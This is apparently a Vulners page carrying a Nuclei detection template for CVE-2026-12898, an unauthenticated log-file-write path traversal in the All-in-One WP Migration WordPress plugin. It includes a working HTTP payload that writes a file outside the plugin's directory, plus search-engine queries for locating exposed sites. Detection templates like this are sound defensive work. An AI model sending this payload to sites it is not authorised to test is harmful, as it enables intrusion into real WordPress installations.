All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2026-12898 | 20 Jul 202606:00 | – | attackerkb | |
| CVE-2026-12898 | 20 Jul 202608:12 | – | circl | |
| CVE-2026-12898 | 20 Jul 202606:00 | – | cve | |
| CVE-2026-12898 All-in-One WP Migration and Backup < 7.106 - Unauthenticated Arbitrary-Location Log File Write via Path Traversal | 20 Jul 202606:00 | – | cvelist | |
| EUVD-2026-45884 | 20 Jul 202606:00 | – | euvd | |
| CVE-2026-12898 | 20 Jul 202607:16 | – | nvd | |
| PT-2026-61527 | 20 Jul 202600:00 | – | ptsecurity |
id: CVE-2026-12898
info:
name: All-in-One WP Migration and Backup < 7.106 - Arbitrary Log File Write
author: iamatownboy
severity: medium
description: |
The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path. This makes it possible for unauthenticated attackers to create or append a log file in arbitrary locations outside the intended storage directory.
impact: |
Unauthenticated attackers can write log files outside the plugin storage directory, potentially leading to information disclosure or further compromise.
remediation: |
Update All-in-One WP Migration and Backup to version 7.106 or later.
reference:
- https://wpscan.com/vulnerability/c90553e4-8e1a-4c99-a28f-a0de8d635caa/
- https://wordpress.org/plugins/all-in-one-wp-migration/
- https://nvd.nist.gov/vuln/detail/CVE-2026-12898
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
cvss-score: 6.5
cve-id: CVE-2026-12898
cwe-id: CWE-22
metadata:
verified: true
max-request: 3
vendor: servmask
product: all-in-one-wp-migration
framework: wordpress
shodan-query: html:"/wp-content/plugins/all-in-one-wp-migration/"
fofa-query: body="/wp-content/plugins/all-in-one-wp-migration/"
publicwww-query: "/wp-content/plugins/all-in-one-wp-migration/"
tags: cve,cve2026,wordpress,wp,wp-plugin,all-in-one-wp-migration,traversal,log-write,vkev
variables:
logname: "{{rand_text_alpha(8)}}"
padding: "{{repeat('p=1&', 5200)}}"
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt"
matchers:
- type: dsl
dsl:
- contains(body, "All-in-One WP Migration")
- compare_versions(version, "< 7.106")
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=ai1wm_export&secret_key=invalidkey&storage=/../../../../uploads/{{logname}}&{{padding}}end=1
matchers:
- type: dsl
dsl:
- status_code == 200
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/{{logname}}.log"
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_any(body, "Input variables exceeded", "PHP Request Startup")
condition: and
# digest: 4b0a00483046022100ed20473c3b98a4e8a0570cdcbd005a1a027b2281032befaa3766a193eb31b2f4022100ef98a68367a32e49906b8f3442cf0464c907c78383a937d8aed21153fbc48f25:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Jul 2026 10:42Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.16.5
EPSS0.00461